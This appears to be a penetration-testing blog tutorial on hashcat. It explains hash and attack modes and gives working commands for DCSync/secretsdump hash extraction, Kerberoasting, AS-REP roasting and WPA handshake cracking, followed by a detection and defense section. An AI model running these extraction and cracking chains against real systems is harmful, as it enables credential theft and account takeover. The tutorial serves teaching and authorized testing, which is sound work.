Password Cracking with Hashcat: Modes and Strategy

Password Cracking with Hashcat: Modes and Strategy - article cover image Tools & Defense
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Hashcat is the standard GPU-accelerated password recovery tool used across penetration testing, red teaming, and digital forensics. Where CPU-bound tools compute a few million hash guesses per second, a modern GPU running hashcat can compute billions per second for fast hash types, because hashing a candidate password is an embarrassingly parallel workload well suited to GPU SIMD cores. That raw throughput is only half the story, though — hashcat’s real strength is a flexible attack-mode and rule engine that lets an operator generate *targeted* candidate passwords instead of blindly enumerating the keyspace, which is what actually makes cracking real-world password sets tractable.

The practical skill in using hashcat is not memorizing flags, it is picking the right hash mode (-m) for the hash you actually have, the right attack mode (-a) for the password policy you are up against, and a strategy — wordlist plus rules, mask, or hybrid — that reflects how real humans and systems actually generate passwords. Misidentifying the hash type or choosing a brute-force mask over a targeted wordlist attack is the single most common way operators waste GPU-hours on a crack that should have taken minutes.

Attack Prerequisites

Before running hashcat productively, the following need to be in place:

  • The hash itself, extracted through an in-scope, authorized method — secretsdump.py or a DCSync for NTLM/domain hashes, GetUserSPNs.py for Kerberoasting, GetNPUsers.py for AS-REP roasting, a captured WPA handshake, or a leaked /etc/shadow.
  • Correct identification of the hash mode. Guessing wrong wastes GPU time against the wrong algorithm entirely; hashcat --example-hashes and hashid/name-that-hash help confirm format before committing a run.
  • A capable GPU and current drivers — hashcat is largely useless on CPU-only hardware for anything but very fast or very narrow keyspaces; hashcat -I lists detected OpenCL/CUDA devices and hashcat -b benchmarks them per hash mode.
  • A strategy input — a curated wordlist (rockyou.txt, breach corpora, company-specific wordlists), a rule file, and/or a mask that reflects a known or suspected password policy.
  • Explicit authorization to crack the credentials in question — this is recovering plaintext passwords, which is meaningfully more sensitive than most other assessment activities.

How It Works

A hash mode (-m) tells hashcat exactly which algorithm, salt handling, and input format to use — -m 0 for raw MD5, -m 1000 for NTLM, -m 1800 for sha512crypt (Linux $6$ shadow entries), -m 13100 for Kerberoast RC4-HMAC service tickets, -m 18200 for AS-REP responses, and -m 22000 for WPA/WPA2 handshakes in the modern hc22000 format. The wrong mode against a correctly formatted hash simply fails silently, because the candidate transform hashcat applies has to match what actually produced the hash.

Attack mode (-a) controls how candidates are *generated*, independent of hash type: -a 0 is a dictionary attack (optionally rule-transformed), -a 1 combines two wordlists pairwise, -a 3 is a brute-force/mask attack generating every string matching a character-class pattern, and -a 6/-a 7 are hybrid modes appending or prepending a mask to each dictionary word — the standard way to model “a real word plus a few digits,” matching how most humans build passwords under a length/complexity policy.

The rule engine (-r) turns a modest wordlist into a much larger effective keyspace without a true brute force’s cost: each rule is a small transform — capitalize, append a digit, leetspeak-substitute, duplicate — applied to every word in the list. best64.rule, shipped with hashcat, is a compact rule set distilled from real cracked-password patterns and is almost always the first one to reach for.

Practical Example / Configuration

Matching the hash to its mode correctly is the step that determines whether the rest of the run is even possible. The set below covers the formats most commonly encountered on an internal assessment:

-m 0      Raw MD5
-m 1000   NTLM (Windows SAM / NTDS.dit, extracted via secretsdump.py)
-m 1800   sha512crypt $6$ (modern Linux /etc/shadow)
-m 13100  Kerberoast: RC4-HMAC TGS-REP (krb5tgs $23$...)
-m 18200  AS-REP Roast: RC4-HMAC AS-REP (krb5asrep $23$...)
-m 22000  WPA-PBKDF2-PMKID+EAPOL (unified .hc22000 capture format)
TEXT

A benchmark run confirms the GPU is detected and gives a realistic expectation for how long a given mode will take before committing hours to a job:

hashcat -I
hashcat -b -m 1000
hashcat -b -m 13100
Bash

A wordlist-plus-rules run is the default first pass against any credential dump, since it cheaply recovers the large fraction of real-world passwords that are dictionary words with predictable mutations:

hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule -O -w 3
Bash

Walkthrough / Exploitation

A realistic engagement runs several of these end to end. Domain NTLM hashes recovered via a DCSync or secretsdump.py go straight into a wordlist-plus-rules pass:

secretsdump.py -just-dc-ntlm DOMAIN/user:pass@dc01 > ntds.txt
cut -d: -f4 ntds.txt > ntlm.txt
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt -r rules/best64.rule
Bash

Kerberoastable service accounts, pulled with Impacket’s GetUserSPNs.py, produce RC4-HMAC TGS tickets that crack the same way — offline, no domain interaction required once the ticket is captured:

GetUserSPNs.py DOMAIN/user:pass -dc-ip 10.0.0.1 -request -outputfile kerb.txt
hashcat -m 13100 -a 0 kerb.txt rockyou.txt -r rules/best64.rule
Bash

AS-REP roasting targets accounts with Kerberos pre-authentication disabled — no valid credentials are needed to request the AS-REP at all:

GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -outputfile asrep.txt
hashcat -m 18200 -a 0 asrep.txt rockyou.txt -r rules/best64.rule
Bash

WPA/WPA2 handshakes are converted from a .pcapng capture to hashcat’s unified format before cracking; a mask attack is common here since router default passwords and ISP-issued PSKs often follow a fixed length/character pattern:

hcxpcapngtool -o wifi.hc22000 capture.pcapng
hashcat -m 22000 -a 3 wifi.hc22000 ?d?d?d?d?d?d?d?d
Bash

For a known onboarding-password shape — uppercase letter, six lowercase letters, four digits — a hybrid attack against sha512crypt shadow hashes targets that shape directly instead of brute-forcing the full keyspace:

hashcat -m 1800 -a 6 shadow.txt wordlist.txt ?d?d?d?d
hashcat -m 1800 -a 3 shadow.txt ?u?l?l?l?l?l?l?d?d?d?d
Bash

Once a run finishes (or is interrupted), recovered plaintexts are pulled from the potfile rather than re-running the job, and --left shows exactly what still needs another strategy:

hashcat -m 1000 ntlm.txt --show
hashcat -m 1000 ntlm.txt --left > still_uncracked.txt
Bash

Note: Mode misidentification is the most common wasted run: an NTLM hash fed into -m 0 (raw MD5) or a Kerberoast ticket with the wrong RC4/AES encryption type selected will simply never crack, with no error to indicate why. Always confirm the format hashcat expects for a given -m with hashcat --example-hashes | grep -A5 -- '-m 1310' — or check the sample in the mode’s own reference entry — before starting a long run.

Opsec: Crack offline, on hardware you control — hashcat never touches the target during the cracking phase itself; the exposure happened at extraction time (DCSync, Kerberoasting, handshake capture). Treat the resulting hash files and any recovered plaintexts with the same handling requirements as the credentials they represent.

Detection and Defense

Password cracking is a downstream consequence of weak hashing or weak credential hygiene — the durable fixes are at the source:

  • Modern, slow hash algorithms — bcrypt, scrypt, or Argon2 for application credentials, with a work factor tuned so hashing costs the server milliseconds but costs an attacker orders of magnitude more per guess than fast hashes like MD5/SHA1/NTLM.
  • Kill NTLM and RC4 where possible — enforce Kerberos AES-only (disable RC4-HMAC), since Kerberoasting and AS-REP roasting both rely on recovering an RC4-encrypted structure; AES tickets are dramatically more expensive to crack per guess.
  • Detect Kerberoasting/AS-REP roasting on the wire — Windows Event ID 4769 (Kerberos service ticket request) with encryption type 0x17 (RC4) requested for a service account is a strong Kerberoasting indicator; Event ID 4768 (TGT request) for an account with “do not require pre-authentication” set flags AS-REP roasting.
  • Long passphrases over complexity rules — length defeats both mask and rule-based attacks far more effectively than mandatory special characters, which humans satisfy in a handful of predictable ways that rule files already model.
  • MFA and breached-password screening — MFA neutralizes a cracked password’s value directly; screening new passwords against known-breached lists (e.g. via Have I Been Pwned’s k-anonymity API) stops the weakest passwords before they’re set.

Rotating service account passwords and using gMSA (Group Managed Service Accounts) removes Kerberoasting’s value entirely, since gMSA passwords are long, random, and automatically rotated rather than human-chosen.

Real-World Impact

Kerberoasting and AS-REP roasting are consistently among the highest-yield findings on internal Active Directory assessments precisely because service accounts are disproportionately likely to have old, human-chosen passwords that were never rotated, and because both attacks require no elevated privilege to request the vulnerable ticket in the first place — only a valid (or, for AS-REP, no) domain credential. Wordlists derived from real breach corpora such as rockyou.txt remain effective baseline material years after their disclosure precisely because human password choices change far more slowly than the tooling used to crack them.

Conclusion

Hashcat’s throughput is only useful when it is pointed at the right hash mode with a strategy that reflects real password-generation habits — wordlists and rules for human-chosen passwords, masks for known-format generated ones, and hybrid modes for policy-shaped passphrases. The durable defense is the same regardless of which mode an operator reaches for: slow hashing algorithms, AES-only Kerberos, long passphrases, and MFA collectively make the cracking step expensive enough, or irrelevant enough, that raw GPU speed stops mattering.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL